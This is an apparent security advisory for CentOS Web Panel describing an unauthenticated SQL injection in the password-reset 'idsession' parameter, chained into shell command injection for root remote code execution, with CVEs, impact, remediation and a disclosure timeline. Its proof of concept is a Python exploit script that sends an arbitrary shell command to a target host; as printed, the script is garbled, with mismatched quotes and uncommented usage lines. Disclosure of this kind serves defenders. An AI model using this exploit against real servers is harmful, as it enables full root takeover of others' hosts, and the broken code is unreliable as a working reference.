

# CentOS Web Panel idsession root Remote Code Execution

## Summary

The unprivileged user portal part of CentOS Web Panel is affected by SQL Injection and Command Injection vulnerabilities, leading to root Remote Code Execution.

## Product Description (from vendor)

"CentOS Web Panel – a Free Web Hosting control panel designed for quick and easy management of (Dedicated & VPS) servers minus the chore and effort to use ssh console for every time you want to do something, offers a huge number of options and features for server management in its control panel package". For more information visit <http://centos-webpanel.com/>.

## CVE(s)

- [CVE-2021-31316](#)
- [CVE-2021-31324](#)

## Details

### Root Cause Analysis

During the password reset procedure, which is available by default at <http://cwp.local:2083/login/index.php?acc=newpass>, it is possible to inject additional SQL query parameters via the `idsession` HTTP POST parameter.

By injecting additional query results, it is possible to inject shell commands in the subsequent `shell_exec` call and gain complete control over the CentOS Web Panel host (it runs with root privileges).

### Proof of Concept

```
1 #!/usr/bin/env python
2 #
3 # this script contains an unauthenticated RCE exploit for Centos Web Panel
4 # since the user-panel code is not versioned, it is not clear when the
5 # vulnerabilities have been introduced
6 #
7 usage: $0.py [-h] -rh RHOST [-rp RPORT] [-c CMD]
8 #
9 optional arguments:
10 -h, --help            show this help message and exit
11 -rh RHOST, --rhost RHOST    remote host ip/hostname
12 -rp RPORT, --rport RPORT    remote port
13 -c CMD, --cmd CMD        shell command to execute
14 #
15 # example run:
16 $ ./$0.py --rh cwp.local -c 'sleep 6'
17 [+] Sending request...
18 [*] Endpoint returned status code 200 after 6.13947 seconds
19 #
20 # polict
21 #
22 from sys import exit
23 import requests, base64
24 from argparse import ArgumentParser
25 requests.packages.urllib3.disable_warnings()
26
27 parser = ArgumentParser()
28 parser.add_argument("-rh", "--rhost", dest="rhost",
29                     help="remote host ip/hostname", required=True)
30 parser.add_argument("-rp", "--rport", dest="rport",
31                     default=2083, help="remote port")
32 parser.add_argument("-c", "--cmd", dest="cmd", default="sleep 5",
33                     help="shell command to execute")
34 args = parser.parse_args()
35
36 payload = str(base64.b64encode("abc" UNION SELECT 'a','b','c','d','+1 day','f'-- p\" + args.cmd +
37               ";#'||a||b||c||d'.encode('utf-8'))))
38 idsession = "a' UNION SELECT 'a','b','c','+ payload + "','e','f'-- p"
39 post_data = {"pass1": "c3WZKwVXNd29yZA==", "idsession": idsession}
40
41 print("[+] Sending request...")
42 response = requests.post("https://{}/login/index.php?acc=newpass".format(args.rhost, args.rport),
43                           data=post_data, verify=False)
44 if response.text == "1":
45     print("[*] Endpoint returned status code {} after {} seconds".format(response.status_code,
46                                   response.elapsed.total_seconds()))
47     exit(0)
48 else:
49     print("[-] Exploit failed.")
```

### Impact

A remote unauthenticated attacker can gain root remote access to the CentOS Web Panel host.

### Remediation

Upgrade to the latest version of CentOS Web Panel available. (Note: the affected code is not versioned and we didn't verify the patch.)

## Disclosure Timeline

- 2/12/2020: Reported to vendor
- 25/03/2021: Vendor confirms the issues have been fixed and releases a patched version
- 12/04/2021: Shielder's advisory is made public

## Credits

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